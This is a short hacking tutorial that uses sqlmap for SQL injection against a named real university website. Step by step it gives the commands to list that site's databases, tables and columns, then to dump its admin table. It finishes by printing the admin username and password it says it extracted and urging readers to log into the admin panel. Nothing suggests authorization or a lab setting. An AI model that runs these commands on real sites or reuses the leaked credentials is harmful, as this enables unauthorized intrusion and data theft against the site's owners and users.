SQL map tutorial

                   Sqlmap Tutorial

Today I'll Show How To Perform SQL Injection with sqlmap
Things you need
1- Vulnerable Site (you can scan a specific site with Acunetix)
2- Backtrack
3- Virtual Machine
So lets start

Steps:



1. First thing we need that is vulnerable site so we take this site

http://www.hu.edu.pk/viewfaculty.php?id=12

2.Go to Backtrack and type cd /pentest/database/sqlmap

3.Run the sqlmap 

./sqlmap.py -u http://www.hu.edu.pk/viewfaculty.php?id=12

-u is the vulnerable url

./sqlmap.py -u http://www.hu.edu.pk/viewfaculty.php?id=12 --dbs

or

./sqlmap.py -u http://www.hu.edu.pk/viewfaculty.php?id=12 --current-db

if you write as --dbs then it will fetch all the databases in the server 

and if you write --current-db then it will fetch only the database related to the current website

we will get the database name 

./sqlmap.py -u http://www.hu.edu.pk/viewfaculty.php?id=12 -D c3results --tables

Here after -D we have to give the database name 

--tables means we are trying to fetch the tables in the current database

and we will get the table names

after that we have to fetch only the table information which we required

./sqlmap.py -u http://www.hu.edu.pk/viewfaculty.php?id=12 -D c3results -T admin --columns 

we will get the names of columns in that table with datatype

 

./sqlmap.py -u http://www.hu.edu.pk/viewfaculty.php?id=12 -D c3results -T admin -C id,passwrd,u_name --dump

now we will get the total information in the table "admin"

After finishing all the process you r having




Database Name : c3results
No of tables :48
Admin Table Name : admin
admin username : 123_admin_123
admin password : 123_hazara_123

Find Admin Panel with Havij or Other and Enjoy! :

REgaRdS : SRK